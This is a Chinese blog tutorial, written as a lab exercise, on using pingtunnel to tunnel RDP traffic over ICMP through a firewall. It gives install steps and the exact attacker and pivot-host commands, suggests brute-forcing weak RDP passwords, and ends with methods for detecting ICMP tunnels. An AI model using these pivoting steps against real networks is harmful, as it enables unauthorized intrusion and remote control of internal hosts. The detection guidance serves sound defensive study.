内网流量操控pingtunnel建立icmp隧道

一、pingtunnel工作原理

在上面的实验环境中,我们将分别在攻击机kali 2020和webserver上部署pingtunnel工具,在量太主机之间实现icmp隧道,再在kali2020上监听1080(图中写错了,没改过来),将webserver访问内网主机server2003远程桌面3389的数据通过icmp协议进行数据封装,然后转发到kali2020的1080端口上,从而实现了win7上访问server2003上3389端口的目的。webserver作为黑客的一个跳板,从而控制内网的主机。这个过程看起来跟ssh隧道本地端口转发非常相似,不同之处知识穿透防火墙的流量是通过icmp协议,另一个是ssh协议。

二、部署pingtunnel

操作系统环境:两台kali linux,两台windows,一台防火墙(只允许icmp协议数据包通过),

1.下载pingtunnel


  先到网站http://freshmeat.sourceforge.net/projects/ptunnel下载tar包文件,解压编译安装

1>tar zxf PingTunnel-0.72.tar.gz
2>cd PingTunnel
3>make && makeinstall
注意:

安装前要先安装依赖库(libpcap类似于wincap)

apt-get install flex

apt-get install -y byacc

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

2.pingtunnel参数

-x 指定 icmp 隧道连接验证密码

-lp 指定要监听的本地 tcp 端口

-da 指定要转发到的机器的 ip 地址

-dp 指定要转发到的机器的 tcp 端口

-p 指定icmp隧道另一端机器的 ip 地址

3.c/s命令

vps(攻击机)命令:

ptunnel -p 192.168.4.134  -lp 1080  -da 1.1.1.10 -dp 3389 -x  pass        

webserver(跳板机)命令:

ptunnel -x shuteer

win 7 (黑客攻击端)命令

win + R

mstsc

192.168.4.136:1080

接下来可以尝试密码弱口令暴力破解

 

 

 此时我们就可以拿到内网主机的远程桌面,实现远程控制的目的了,请仔细看看我所标红的IP地址,发现了什么,192.168.4.136是vps的ip地址,而这台主机的真正ip为1.1.1.10内网主机的ip

 我们再看看数据经过ICMP隧道,在pingtunnel上留下的记录

 可以很情绪的看到session会话

 三、防御ICMP隧道攻击的方法

许多网络管理员会阻止ICMP通信进出站点。但是出站方向,ICMP通信是被允许的,而且目前大多数的网络和边界设备不会过滤ICMP流量。使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过wireshark进行ICMP数据包分析以检测恶意ICMP流量,具体方法如下。

.检测同一来源的ICMP数据包的数量。一个正常的ping 命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包。

.注意那些Payload大于64bit的ICMP数据包

.寻找相应数据包中的payload与请求数据包中的payload不一致的ICMP数据包

.检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP payload前面添加"TUNL"标记来标识隧道----这就是特征

原文地址:https://www.cnblogs.com/lzkalislw/p/15585980.html